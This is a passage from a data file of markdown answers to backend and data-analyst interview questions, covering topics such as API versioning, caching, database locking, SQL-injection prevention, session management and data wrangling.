    "path": "src/data/question-groups/backend/content/anomaly-detection.md",
    "content": "Some common techniques include:\n\n- Adding and implementing validation rules to prevent invalid data entry. Through the definition of schemas and schema constraints to enforce certain minimum standards, you can prevent data anomalies from happening.\n- Implement data versioning to easily revert back if there are any anomalies detected.\n- Implement a strong data quality practice to ensure that whatever information enters your system is properly validated and flagged if required.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/api-dependencies.md",
    "content": "A great way to handle API dependencies in backend systems is to take advantage of API versioning. Through this simple practice, you can ensure that your systems are actually using the right API, even if there are multiple versions of it.\n\nThis also allows you to have multiple backend systems using different versions of the same API without any risk of inconsistency or of updates breaking your systems."
  },
  {
    "path": "src/data/question-groups/backend/content/api-endpoint.md",
    "content": "An API endpoint is a specific URL that acts as an entry point into a specific service or a functionality within a service.\n\nThrough an API endpoint, client applications can interact with the server sending requests (sometimes even with data in the form of payload) and receive a response from it.\n\nUsually, each endpoint can be mapped to a single feature inside the server."
  },
  {
    "path": "src/data/question-groups/backend/content/api-tests.md",
    "content": "As backend developers, we have to think about the types of tests that there are out there.\n\n- **Unit tests:** Always remember to only test the relevant logic through the public interface of your code (avoid testing private methods or inaccessible functions inside your modules). Focus on the business logic and don’t try to test the code that uses external services (like a database, the disk or anything outside of the piece of code you’re testing).\n- **Integration tests:** Test the full endpoint through its public interface (the actual HTTP endpoint) and see how it integrates with the external services it’s using (i.e the database, another API, etc).\n- **Load testing / performance testing:** You might want to also check how the new endpoint behaves under heavy stress. This might not be required depending on the API you’re using, but as a rule of thumb, it’s a good one to perform at the end of the development phase before releasing the new endpoint into prod."
  },
  {
    "path": "src/data/question-groups/backend/content/api-versioning.md",
    "content": "There are several ways in which you can handle API versioning, but the most common ones are:\n\n- **Keeping the version in the URL:** Either as a URL attribute (i.e /your-api/users?v=1) or as part of the URL (i.e /v1/your-api/users). In both situations the version is clearly visible to the developer using the API.\n- **Using a custom header:** Another option is to have a custom header (such as api-version) where the developer must specify the version of your API they intend to use."
  },
  {
    "path": "src/data/question-groups/backend/content/batch-processing.md",
    "content": "The best option here would be to use a batch-processing framework such as Hadoop or Spark. They are already prepared to process massive amounts of data in parallel."
  },
  {
    "path": "src/data/question-groups/backend/content/benefits-drawbacks-microservices.md",
    "content": "Benefits:\n\n- **Scalability:** microservices can scale independently from each other.\n- **Tech flexibility:** you can use different tech stacks depending on the particular needs of each microservice.\n- **Faster deployments:** microservices can be deployed individually, improving the speed at which you deliver changes to production.\n\nDrawbacks:\n\n- **Over complex architecture.** In some situations, a microservice-based architecture can grow to be too complex to manage and orchestrate.\n- **Debugging:** Debugging problems in a microservices-based architecture can be difficult as data flows through multiple services during a single request.\n- **Communication overhead:** Compared to a monolithic approach, communication between microservices can be overly complex."
  },
  {
    "path": "src/data/question-groups/backend/content/bg-tasks.md",
    "content": "It highly depends on your tech stack and what those background tasks are doing. And because of that, there are many options:\n\n- Using task queues such as RabbitMQ or Amazon SQS. These will let you have workers in the background as secondary processes while your application continues working.\n- There are background job frameworks such as [Celery for Python](https://github.com/celery/celery) or [Sidekiq for Ruby](https://github.com/sidekiq/sidekiq).\n- You can also just rely on cron jobs if you want.\n- If your programming language permits it, you can also use threads or workers to run these tasks in the background but within the same application.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/blue-green-deployment.md",
    "content": "The blue-green strategy involves having two identical production environments, having one of them serving real traffic while the other is getting ready to be updated with the next release or just idle, waiting to be used as a backup."
  },
  {
    "path": "src/data/question-groups/backend/content/cache-eviction.md",
    "content": "To define this strategy, you’ll need to define the following elements:\n\n- The size limit that will trigger the cache eviction when exceeded.\n- A monitoring strategy to determine if the eviction strategy is working properly or if it needs adjustment.\n- A cache invalidation mechanism.\n- And an eviction policy, which could be one of the following:\n  - **LRU (Least Recently Used):** Evict the least recently accessed items.\n  - **LFU (Least Frequently Used):** Remove items accessed least frequently.\n  - **FIFO (First-In, First-Out):** Evict items in the order they were added.\n  - **Random:** Randomly select items to evict.\n  - **TTL (Time-To-Live):** Expire items after a certain time."
  },
  {
    "path": "src/data/question-groups/backend/content/cap-theorem.md",
    "content": "![CAP Theorem](https://assets.roadmap.sh/guest/cap-theorem.png)\n\nThe CAP theorem says that distributed databases can’t simultaneously provide more than two of the following guarantees:\n\n- Data Consistency: Meaning that every read is always returning the most recent result of the write operation. This is very relevant in this model because we’re dealing with multiple servers and data needs to be replicated almost immediately to guarantee consistency.\n- Availability: Meaning that every request will always receive a valid response.\n- Partition tolerance: The distributed system continues to operate and work without data loss even during partial network outages.\n\nFor example, if the system is consistent and highly available, it won’t be able to withstand partial network outages. If on the other hand, the system is highly available and partition tolerant, it won’t be able to ensure immediate data consistency."
  },
  {
    "path": "src/data/question-groups/backend/content/ci-cd.md",
    "content": "There are multiple considerations to have while setting up Continuous Integration and Continuous Delivery pipelines:\n\n- **Using source control** as the trigger for the entire process (git for example). The build pipelines for your backend services should get executed when you push your code into a specific branch.\n- **Pick the right CI/CD** platform for your needs, there are many out there such as GitHub Actions, GitLab CI/CD, CircleCI and more.\n- Make sure you have **automated unit tests** that can be executed inside these pipelines.\n- **Automatic deployment** should happen only if all tests are executed successfully, otherwise, the pipeline should fail, preventing broken code from reaching any environment.\n- **Use an artifact repository** such as JFrog Artifactory or Nexus Repository to store successfully built services.\n- Finally, consider setting up a **rollback strategy** in case something goes wrong and the final deployed version of your service is corrupted somehow.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/containerization.md",
    "content": "It’s a lightweight virtualization method to package applications and their dependencies, ensuring consistent environments across different systems.\n\nIt’s actually a benefit for backend development because it provides isolation and portability by simplifying deployment processes and reducing conflicts between software versions and configurations."
  },
  {
    "path": "src/data/question-groups/backend/content/correlation-ids.md",
    "content": "Correlation IDs are unique identifiers added on requests done to distributed architectures to facilitate tracking of requests throughout the architecture. Remember that usually, when a request hits a distributed backend system, the data from the request passes through multiple web services before generating a response.\n\nThis makes it easy to understand the journey each request goes through to debug any potential problems or performance issues."
  },
  {
    "path": "src/data/question-groups/backend/content/data-encryption.md",
    "content": "For this type of application, you have to distinguish between “data at rest” and “data in transit”. The first one describes your data while it’s stored in your database (or any data storage you have). And the latter (data in transit) describes your data while it’s traveling between backend services or even between the server and the client.\n\nFor “data in transit”, you should be ensuring that connection happens inside a secure and encrypted channel such as HTTPS.\n\nAnd for “data at rest” use strong encryption algorithms such as [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard), [RSA](https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29) or [ECC](https://en.wikipedia.org/wiki/Elliptic-curve_cryptography) and make sure to keep their associated keys somewhere safe, such as inside a dedicated secrets management tool or key management services (KMS)."
  },
  {
    "path": "src/data/question-groups/backend/content/db-connections.md",
    "content": "During a high-load scenario, there are several things a developer can do to improve the performance of the database connection:\n\n- Using connection pools to reuse connections reduces the time required to establish a new one.\n- Load balancing the database traffic (the queries) between a group of databases would help distribute the load.\n- Even optimizing your queries can reduce the time you’re using each connection, helping you optimize the use of resources and minimizing the time you’re spending with each active connection."
  },
  {
    "path": "src/data/question-groups/backend/content/deadlock-db-transaction.md",
    "content": "There are many ways to prevent deadlocks in DB transactions; some of the most common are:\n\n- Using lock ordering to acquire locks in a consistent global order, avoiding circular wait conditions.\n- Using timeouts for DB transactions to automatically kill long-running operations that could lead to deadlocks.\n- Use of optimistic concurrency control where possible, to avoid holding locks for too long."
  },
  {
    "path": "src/data/question-groups/backend/content/debugging-backend.md",
    "content": "If the backend application being debugged is in the local dev machine, a simple solution would be to use the IDE itself. Most modern IDEs, such as IntelliJ, Eclipse and others have integrated debugging capabilities.\n\nIf the backend application is on the server though, you’ll have to use other techniques, such as logging, which you can do with logging libraries. Or, you can use more complex tools such as JProfiler or NewRelic."
  },
  {
    "path": "src/data/question-groups/backend/content/decompose-microservices.md",
    "content": "Microservices are a software architecture style that allows you to structure your backend applications as a collection of independent services, each one working around a specific business need.\n\nIf you’re looking to decompose a monolith into a set of microservices, you have to keep the following points in mind:\n\n- Start by identifying the logical boundaries of your monolith. Its inner logic will tackle multiple responsibilities and types of resources. Find the boundaries between them to understand where one service starts and another one ends.\n- Define your services based on the boundaries from the previous point and start decoupling the data needs as well. Either into multiple tables or even individual databases whenever it makes sense.\n- Start incrementally refactoring the monolith and extracting the logic required for each individual microservice into its own project.\n\nBy the time you’re done, your original monolith should not be needed anymore, and all your microservices will have their own independent deployment pipeline and code repository."
  },
  {
    "path": "src/data/question-groups/backend/content/distributed-caching.md",
    "content": "In this scenario, you have to consider the following points:\n\n- Implement a **cluster of servers** that will all act as the distributed cache.\n  Implement a **data sharding** process to evenly distribute the data amongst all cache servers and make sure it uses a consistent hashing algorithm to minimize cache reorganization when a server joins or leaves the cluster.\n- Add **cache replication** to have redundancy of your data in case of a failure, that way, your distributed cache is fault-tolerant as well.\n- **Cache invalidation** is a must on any caching solution, as your data will become stale if you don’t update it often."
  },
  {
    "path": "src/data/question-groups/backend/content/eventual-consistency.md",
    "content": "![Eventual Consistency](https://assets.roadmap.sh/guest/eventual-consistency-zoh2b.png)\n\nEventual consistency is a consistency model used in distributed computing. This model guarantees that any piece of information written into a distributed system will become consistent (meaning that all servers will have the same version of this data) eventually as opposed to others where immediate consistency is assured.\n\nFor backend systems this implies that there is a need for data synchronization between all parts of the distributed system and on top of that, a potential need to resolve data conflicts, if different parts of your system are dealing with different versions of the same data record."
  },
  {
    "path": "src/data/question-groups/backend/content/fault-tolerance.md",
    "content": "Database replication implies the replication of data across multiple instances of the same database. In this scenario, there is usually one database that’s acting as a master to all clients that are connecting it, and the rest act as “slaves” where they simply receive updates on the data being changed/added.\n\nThe two main implications of this in fault tolerance are:\n\n- A database cluster can withstand problems on the master server by promoting one of the slaves without losing any data in the process.\n- Slaves can be used as read-only servers, increasing the amount of read requests that can be performed on the data without affecting the performance of the database."
  },
  {
    "path": "src/data/question-groups/backend/content/file-uploads.md",
    "content": "From a backend developer perspective, the following considerations should be taken into account when handling file uploads regardless of the programming language you’re using:\n\n- **Perform server-side validations.** Validate that the size of your file is within range, and that the file is of the required type. You can check [this OWASP guide](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) for more details.\n- **Use secure channels.** Make sure the file upload is done through an HTTPS connection.\n- **Avoid name collision.** Rename the file ensuring the new filename is unique within your system. Otherwise this can lead to application errors by not being able to save the uploaded files.\n- **Keep metadata about your files.** Store it in your database or somewhere else, but make sure to keep track of it, so you can provide extra information to your users. Also, if you’re renaming the files for security and to avoid name collisions, keep track of the original filename in case the file needs to be downloaded back by the user.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/fulltext-search.md",
    "content": "You can use the native full-text search functionality of a database, such as MySQL, Postgre or even ElasticSearch.\n\nHowever, if you want to implement it yourself, the steps would be:\n\n- Preprocessing the text data to be searched and normalizing it by applying tokenization, stemming and removing stop words.\n- Then, implement an inverted index, somehow relating each unique word to the records that contain that word.\n- Create a search UI and normalize the input from the user in the same way the text data was normalized.\n- Then, search for each word in the database.\n- Sort the results by implementing a scoring logic based on different aspects, such as word frequency."
  },
  {
    "path": "src/data/question-groups/backend/content/gdpr-compliance.md",
    "content": "The following are key considerations to be taken into account:\n\n- Capture only what you need and what you told your users you’d capture. Remember that to comply with GDPR, you have to ask for your user’s consent to collect their data, and you have to specify the actual data points you’re collecting. So focus on those and nothing else.\n- Secure your data. As part of the regulations, you have to make sure your data is secured both in transit and at rest. There are regular security audits that have to happen to ensure security is kept high.\n- The user has rights over the data you’ve captured, so make sure you give them the right endpoints or services to read it, edit it or even remove it if they want."
  },
  {
    "path": "src/data/question-groups/backend/content/high-available-storage.md",
    "content": "Building a highly available data storage involves multiple areas, including:\n\n- **Multi-zone environments.** If you’re going with cloud-based solutions (such as Azure, AWS, GCP or others) then you’re likely to have this requirement met instantly (except for some specific regions in the world). This is to ensure availability even during partial network outages.\n- **Data replication.** Ensure your data is being replicated between servers of all zones. This is to ensure that if there is a failure taking some servers down (or even entire zones) there is no data loss.\n- **Load balancing.** Ensure the traffic is properly load-balanced between all your availability zones to ensure the lowest latency for all your clients.\n- And then there are other requirements like setting up a proper data governance policy to ensure data access is regulated, as well as fully complying with your local data regulations (like GDPR)."
  },
  {
    "path": "src/data/question-groups/backend/content/http-request-response-cycle.md",
    "content": "The HTTP protocol is very structured and consists of a very well-defined set of steps:\n\n- **Open the connection.** The client opens a TCP connection to the server. The port will be port 80 for HTTP connections and 443 for HTTPS (secured) connections.\n- **Send the request.** The client will now send the HTTP request to the server. The request contains the following information:\n  - An [HTTP method](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods). It can be any of them (i.e. GET, POST, PUT, DELETE, etc).\n  - A URI (or Uniform Resource Identifier). This specifies the location of the resources on the server.\n  - The HTTP version (usually HTTP/1.1 or HTTP/2).\n  - A set of headers. They include extra data related to the request; there is a [full list of HTTP headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) that can be used here.\n  - The optional body. Depending on the type of request, you’ll want to also send data, and the data is encoded inside the body of the request.\n- **Request processed by the server.** At this stage, the server will process the request and prepare a response.\n- **Send the HTTP response back to the client.** Through the open channel, the server sends back an HTTP response. The response will contain the following elements:\n  - The HTTP Version.\n  - The status code. There is a list of [potential status codes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) that describe the result of the request.\n  - A set of headers with extra data.\n  - The optional body, just like with the request, the body of the response is optional.\n- **The connection is closed.** This is usually the last step, although with newer versions of the protocol, there are options to leave the channel open and continue sending requests and responses back and forth."
  },
  {
    "path": "src/data/question-groups/backend/content/idempotency.md",
    "content": "For REST APIs you can take advantage of HTTP verbs and define your idempotent operations using inherently idempotent verbs, such as GET, PUT, and DELETE.\n\nOr you can always manually implement a key-based logic to avoid repeating the same operation multiple times if the key provided by the client is always the same."
  },
  {
    "path": "src/data/question-groups/backend/content/instrument-monitor.md",
    "content": "A great way to monitor the performance of backend applications is to use an Application Performance Management system (APM) such as New Relic, AppDynamics or even Dynatrace.\n\nThose will track your application’s performance and provide insight into the bottlenecks you might have with minimum effort on your part."
  },
  {
    "path": "src/data/question-groups/backend/content/iot-streams.md",
    "content": "![IOT Data Streams](https://assets.roadmap.sh/guest/iot-data-streams-ks8vn.png)\n\nA real-time data capture and processing architecture would require the following components:\n\n- Use a scalable data ingestion service such as [Kafka](https://kafka.apache.org/) or [AWS Kinesis](https://aws.amazon.com/es/pm/kinesis/) that is compatible with one of the many IoT standard protocols (like MQTT or CoAP).\n- Process the data through real-time processing engines such as Apache Flink or Spark Streaming.\n- Store the data inside a scalable data lake, ideally a time-series compatible system such as [InfluxDB](https://www.influxdata.com/).\n"
  },
  {
    "path": "src/data/question-groups/backend/content/load-balanced-session.md",
    "content": "In a load-balanced application scenario, the main issue with session state is that if the backend system is handling session data in memory, then subsequent requests from the same client need to land on the same server, otherwise session data is fragmented and useless.\n\nThere are two main ways to solve this problem:\n\n- Sticky sessions: This allows you to configure the load balancer to redirect requests from the same client into the same server every time. The downside with this one, is that the traffic is not always equally distributed among all copies of your backend services.\n- Centralized session store: This solution involves taking the session data outside of your backend services into a centralized data store that all copies of your service can access. This makes it easier on the load balancer, but requires extra logic and more “moving parts”.\n\nIt’s up to you and your specific technical requirements to determine which strategy works best for you."
  },
  {
    "path": "src/data/question-groups/backend/content/load-testing-api.md",
    "content": "- First you have to understand the goals and set up a testing environment. Ideally, your environment would closely resemble production.\n- Design and implement your tests with the tools you’ve selected (such as [JMeter](https://jmeter.apache.org/), [LoadRunner](https://www.opentext.com/products/loadrunner-enterprise) or any other).\n- Start to gradually increase the load on your tests while monitoring the performance and stability of your system.\n- Optimize your backend API and go back to the first step to redesign your tests and try again until you’re happy with the results.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/long-running.md",
    "content": "![Long-running processes](https://assets.roadmap.sh/guest/long-running-sn5fc.png)\n\nFor web requests that trigger long-running processes, the best option is to implement a reactive architecture. This means that when a service receives a request, it will transform it into a message inside a message queue, and the long-running process will pick it up whenever it’s ready to do so.\n\nIn the meantime, the client sending this request receives an immediate response acknowledging that the request is being processed. The client itself can also be connected to the message queue (or through a proxy) and waiting for a “ready” event with its payload inside."
  },
  {
    "path": "src/data/question-groups/backend/content/maintainable-code.md",
    "content": "The trick here is to follow best practices and coding standards such as:\n\n- Modularity.\n- Following naming conventions.\n- Adding code comments.\n- Doing regular refactors to keep technical debt under check.\n- Keeping error handling messages consistent throughout the platform.\n- Performing unit tests on all written code."
  },
  {
    "path": "src/data/question-groups/backend/content/message-queue.md",
    "content": "![Message Queue](https://assets.roadmap.sh/guest/message-queue-yw7on.png)\n\nA message queue in a distributed system can act as the core component of a reactive architecture. Each service can trigger and listen for events coming from the queue. That way, when the events arrive, those services can react to them without having to actively poll other services for a response."
  },
  {
    "path": "src/data/question-groups/backend/content/optimistic-vs-pessimistic.md",
    "content": "**Optimistic locking** is a strategy that:\n\n- Assumes conflicts are rare and don’t happen that often.\n- Allows for concurrent data access.\n- Checks if there are conflicts before committing.\n- It’s best used in high-read, low-write scenarios.\n\n**Pessimistic locking**, on the other hand, is a strategy that:\n\n- Assumes conflicts to be very common.\n- Locks data and prevents concurrent access.\n- Holds these locks for the duration of a transaction.\n- It’s best suited for high-write scenarios or when data integrity is critical.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/protect-sql-injection.md",
    "content": "There are many ways to protect your relational database from SQL injection attacks, but here are three very common ones.\n\n- **Prepared statements with parameterized queries.** This is probably the most effective way since it’s done by a library or framework, and all you have to do is write your queries leaving placeholders for where the data is meant to go, and then, in a separate place, provide the actual data.\n- **Use an ORM (Object-Relational Mapping).** These frameworks allow you to abstract the interaction with your database and create the SQL queries for you, taking into account all matters of security around that interaction.\n- **Escaping data.** If you want to do this manually, you can take care of escaping special characters that might break how you construct your SQL queries. Keeping a list of blacklisted characters to escape in this situation is a good idea, so you can programmatically go through them."
  },
  {
    "path": "src/data/question-groups/backend/content/rate-limiting.md",
    "content": "To implement rate limiting, you have to keep the following points in mind:\n\n- **Define your limits.** Define exactly the amount of requests a client can make. This can be measured in requests per minute, per day, or per second.\n- **Choose a limiting strategy.** Pick a rate-limiting algorithm, like the fixed window counter, sliding log window, token bucket, or leaky bucket. You can read more about [these algorithms here](https://www.designgurus.io/answers/detail/rate-limiting-algorithms).\n- **Store your counters somewhere.** Use a fast data store (like Redis) to keep track of the number of requests or timestamps for each client.\n- Once the limit is reached, try to respond with a **standard status code**, such as 429 which indicates there have been “Too Many Requests”.\n\nIf you want to take this further, you can look into using an existing API Gateway that already provides this functionality or look into adding support for sudden bursts of traffic to avoid penalizing clients that are slightly above the limits every once in a while."
  },
  {
    "path": "src/data/question-groups/backend/content/realtime-data-sync.md",
    "content": "If you want to support real-time data synchronization, you’ll have to find a way to create stable and efficient communication channels between devices and find a way to solve potential data sync conflicts when several devices are trying to change the same record.\n\nSo, for communication channels, you can use one of the following:\n\n- Socket-based bidirectional channels that allow for real-time data exchange.\n- Using a pub/sub model to efficiently distribute data between multiple devices. You can use something like Redis or Kafka for this one.\n\nFor data conflict resolutions, you can use algorithms like Operational Transformation (OT) or [Conflict-Free Replicated Data Types](https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type) (CRDTs)."
  },
  {
    "path": "src/data/question-groups/backend/content/rest-core-principles.md",
    "content": "For an API to be RESTful (which means it complies with the REST guidelines), it needs to:\n\n- It needs to follow a client-server architecture (which all HTTP-based services do).\n- It has to provide a uniform interface which means:\n  - There should be a way to identify resources from each other through URIs (Unique Resource Identification).\n  - There should be a way to modify resources through their representation.\n  - Messages should be self descriptive, meaning that each message should provide enough information to understand how to process it.\n  - Clients using the API should be able to discover actions available for the current resource using the provided response from the server (this is known as HATEOAS or Hypermedia as the Engine of Application State).\n- It needs to be stateless, which means each request to the server must contain all information to process the request.\n- It should be a layered system, meaning that client and server don’t have to be connected directly to each other, there might be intermediaries, but that should not affect the communication between client and server.\n- Resources should be cacheable either by client or by server.\n- Optionally, the server could send code to the client for it to execute (known as “Code on Demand”)."
  },
  {
    "path": "src/data/question-groups/backend/content/reverse-proxy.md",
    "content": "A reverse proxy is a server that sits in front of multiple other servers and redirects traffic to those web servers based on different logic rules. For example, you could have two web servers, one for customers of your business and another one for your employees.\n\nYou could configure a reverse proxy to redirect traffic to one or the other depending on the value of a header sent in the request or the actual URL being requested.\n\nIt is very useful in backend development because it allows you to do many different things, for example:\n\n- Load balancing traffic between multiple instances of the same backend service.\n- Provide an extra layer of security by hiding the location of the backend services and handling attacks, such as DDoS.\n- It can cache content, reducing server load on your web servers.\n- It allows you to switch backend services without affecting the public-facing URLs."
  },
  {
    "path": "src/data/question-groups/backend/content/scale-backend.md",
    "content": "The most common way to scale up a backend application during traffic surges is to have multiple instances of the application behind a load balancer, and when the traffic surge happens, simply add more instances of the application.\n\nThis is known as horizontal scaling and works best when the backend application is stateless.\n\n![Scaling](https://assets.roadmap.sh/guest/scale-backend-amf0h.png)"
  },
  {
    "path": "src/data/question-groups/backend/content/schema-migrations.md",
    "content": "The two main aspects to consider when managing schema migrations, especially in CD environments are:\n\n- Track your schema migrations inside version control. Keep these files versions with your code, as there is a direct relation between those versions.\n- Use automated migration tools such as [Flyway](https://flywaydb.org/) or [Liquibase](https://www.liquibase.com/) to simplify the process and keep it standard."
  },
  {
    "path": "src/data/question-groups/backend/content/secure-api.md",
    "content": "There are many ways to secure an API, here are some of the most common ones:\n\n- Add an authentication method, such as OAuth, JWT, Bearer tokens, Session-based auth, and others.\n- Use HTTPS to encrypt data transfer between client and server.\n- Configure strong CORS policies to avoid unwanted requests.\n- Setup a strong authorization logic, to ensure clients only access resources they have access to."
  },
  {
    "path": "src/data/question-groups/backend/content/secure-interservice.md",
    "content": "Starting from the basis of understanding that your inter-service communication is meant to only happen inside private networks (ideally, no public traffic should reach these services), here are some recommendations:\n\n- Use encrypted channels, such as TLS to prevent common attacks such as [man-in-the-middle](https://en.wikipedia.org/wiki/Man-in-the-middle_attack).\n- Use an API gateway to manage and authenticate traffic that reaches this private network.\n- Enforce authentication and authorization for inter-service messages, making sure that only valid microservices can reach each other, and when they do, they only have access to what it makes sense for them to have.\n"
  },
  {
    "path": "src/data/question-groups/backend/content/session-management.md",
    "content": "The following is a high-level overview of how session management works for web applications:\n\n- **The session is created.** This happens with the first interaction with the system by the user (during log-in). The backend of your app will create a unique session ID that will be stored and returned to the user to use in future requests.\n- **Session information storage.** The session data needs to be stored somewhere. Whether it’s in-memory, or inside a database, it needs to be indexed by the session ID from the previous point. Here the best option is to use a database (ideally something like Redis with high I/O performance) so that the services can be scaled independently from the session data.\n- **The session ID is sent to the client.** The most common way of doing this is through cookies. The backend can set up a cookie with the session ID and the frontend can read it securely and use that ID however it needs to.\n- **Client sends the session ID.** After the ID is created, the client application will identify itself with the backend using this ID on every request.\n- **Accessing the session data in the backend.** The backend will access the stored session data using the session ID received from the client.\n- **Session is closed.** After a while, or perhaps through a user action, the session ID will be deleted, which will cause the session data to be lost (or removed from the DB). This effectively ends the interactions between the client and the server as part of the existing session."
  },
  {
    "path": "src/data/question-groups/backend/content/sql-vs-nosql.md",
    "content": "[SQL databases](https://roadmap.sh/sql) (or relational databases as they’re also known) rely on a predefined schema (or structure) for their data. Whenever you describe a record, or table inside the database, you do so through its format (name and fields).\n\nIn [NoSQL](https://roadmap.sh/mongodb) databases, there is no schema, so there is no predefined structure to the data. You usually have collections of records that are not obligated to have the same structure, even if they represent conceptually the same thing."
  },
  {
    "path": "src/data/question-groups/backend/content/sso.md",
    "content": "At a very high level, the steps required to implement an SSO solution are:\n\n- Picking an identity provider, such as [Okta](https://www.okta.com/) or [Keycloack](https://www.keycloak.org/).\n- Each application will then integrate with the Identity provider from the previous step using a standard SSO protocol, such as SAML, OpenID or any other.\n- For the first user access, the application will connect with the IdP and authenticate the user, getting an access token in return.\n- Then during subsequent requests, the application will validate the provided token through the IdP."
  },
  {
    "path": "src/data/question-groups/backend/content/statelessness-http.md",
    "content": "HTTP is, by design, a stateless protocol, which means that every request is unique and unrelated to any previous request, even from the same client.\n\nThis affects backend web services by forcing them to implement their own state management solutions if such a feature is required."
  },
  {
    "path": "src/data/question-groups/backend/content/webhooks.md",
    "content": "Webhooks are user-defined HTTP callbacks, they are triggered by a specific event inside a system. They’re mainly used to notify about results of multi-step, asynchronous tasks to avoid keeping an open HTTP connection.\n\nAs for the implementation of a webhook, consider the following:\n\n- **Event definition.** Make sure to define exactly what events will trigger the message to the webhook and the type of payload associated with those events.\n- **Endpoint creation.** Based on the previous step, define an HTTP endpoint that can deal with the expected request (especially with the payload part). In other words, if you’re receiving data in the webhook request, make sure to create the endpoint as a POST endpoint, otherwise you can use a GET one.\n- **Security.** Remember to implement some form of security measures around your webhook endpoint so it can’t be exploited."
  },
  {
    "path": "src/data/question-groups/data-analyst/content/advanced-data-integration.md",
    "content": "An advanced data analysis project might involve integrating unprocessed data from internal CRM systems, web analytics platforms, and third-party APIs. \n\nThe process can include standardizing schemas, mapping identifiers, and applying robust profiling techniques to detect incorrect values and missing entries. \n\nWrangling tools such as Python and SQL are also used alongside validation rules to maintain consistent quality, resulting in accurate, actionable insights that support stakeholder decision-making. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/advanced-data-wrangling.md",
    "content": "Data wrangling involves transforming raw data into a structured format valid for analysis. The process typically begins with profiling to identify missing values, outliers, or inconsistencies, followed by data cleaning steps such as normalization, transformation, and deduplication. \n\nCommon challenges include aligning different schemas, such as mismatched column names, formats, or data types across systems. Managing time series alignment often involves reconciling data captured at different time intervals, dealing with timezone differences (which is always a pain), or interpolating missing timestamps to maintain continuity. Ensuring consistency across multiple data sources requires careful validation of business rules, consistent definitions, and strategies to resolve discrepancies in values or classifications between systems. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/advanced-missing-data.md",
    "content": "Techniques for handling missing information include imputation (mean, median, or model-based), deletion of incomplete records, or flagging missing fields. \n\nEach method impacts profiling and validation differently: imputation can preserve dataset size but may introduce bias (depending on how much data is missing), while deletion may improve quality at the cost of reducing sample size. \n\nLike with everything in this field, there is no single best solution to all problems, instead, consider that the best approach depends on your context. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/advanced-multivariate.md",
    "content": "Multivariate analysis is used to explore complex relationships among multiple variables. \n\nThe first thing to do would be to clean and standardize the dataset, then use statistical methods such as MANOVA, or factor analysis to understand how different variables influence outcomes together in a data analysis project. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/advanced-profiling.md",
    "content": "Advanced profiling methods include statistical summaries (e.g., mean, standard deviation), z-score or IQR-based outlier detection, and fuzzy matching for duplicates. \n\nFor continuous probability distributions, verifying normality ensures that imputation and anomaly detection methods are applied appropriately, maintaining data quality and analytical accuracy. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/analysis-types.md",
    "content": "Univariate analysis involves examining a single variable to understand its distribution, central tendency, or spread. \n\nBivariate analysis, then, involves exploring the relationship between two variables, such as using scatter plots or correlation analysis. \n\nFinally, multivariate analysis expands this further to three or more variables, allowing analysts to investigate how several variables interact and influence each other. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/analytics-types.md",
    "content": "Descriptive analytics focuses on summarizing past events using historical data. \n\nPredictive analytics uses statistical models and machine learning to forecast future outcomes.\n\nPrescriptive analytics builds on predictions by suggesting actions that optimize outcomes. \n\nEach type serves a different and unique purpose within the broader scope of data analytics. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/clustering-analysis.md",
    "content": "Clustering or cluster analysis is used to group similar data points based on selected features. \n\nTo perform clustering, a data analyst might normalize the data, select an algorithm such as K-means or hierarchical clustering, and determine the optimal number of clusters using techniques like the elbow method. \n\nWhile analysts can't really predict the exact insights they'll get out of this practice, chances are, they'll likely have their own theories. The resulting clusters, of course, will be the ones that reveal hidden patterns, such as customer segments or regional sales performance groups, leading to valuable insights. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/combined-analysis.md",
    "content": "Univariate analysis looks at one variable at a time (like checking how a group of people's ages are distributed) to understand overall patterns such as average or range. \n\nBivariate analysis involves comparing two variables (such as age and income) to see if there's a relationship between them. \n\nUsed together, these methods help identify trends in the data and provide a foundation for asking deeper questions or making predictions. \n\nFor example, with the first one analysts might show that customers aged 30 to 40 are the most common in a dataset, while with the second analysis they could reveal that this same age group also tends to spend the most per purchase—leading to valuable marketing or sales insights. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-aggregation.md",
    "content": "Data aggregation is the process of summarizing detailed data by grouping and computing metrics like sum, count, average, or maximum. \n\nIt is a very useful technique that helps data analysts gain high-level insights, spot trends, and support decision-making, especially useful in dashboard creation and KPI reporting. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-analysis-process.md",
    "content": "It's usually a good idea to follow a five-step process when working with raw data:\n\n1. **Understand the problem**: Begin by clearly defining the problem to solve, identifying the business objective, and determining what kind of insight is required to obtain (this is the end goal after all).  \n2. **Collect the data**: Once the objective is clear, gather the data. This data can come from databases, APIs, spreadsheets, or even third-party sources.  \n3. **Clean and organize the data**: We'll want to clean the data by removing duplicates, handling absent values, and standardizing formats.  \n4. **Explore the data through visualizations**: With the clean data, start playing around with different visualizations to explore trends, distributions, and relationships.   \n5. **Draw conclusions based on findings**: Finally, analyze the data in the context of the original problem and use the results to draw insights. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-analyst-role.md",
    "content": "A data analyst collects, processes, and interprets data to help businesses make informed decisions. \n\nData analysis is the process of examining datasets, while on the other hand, data analytics is a broader field that includes the tools and methods used for analysis, prediction, and automation. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-challenges.md",
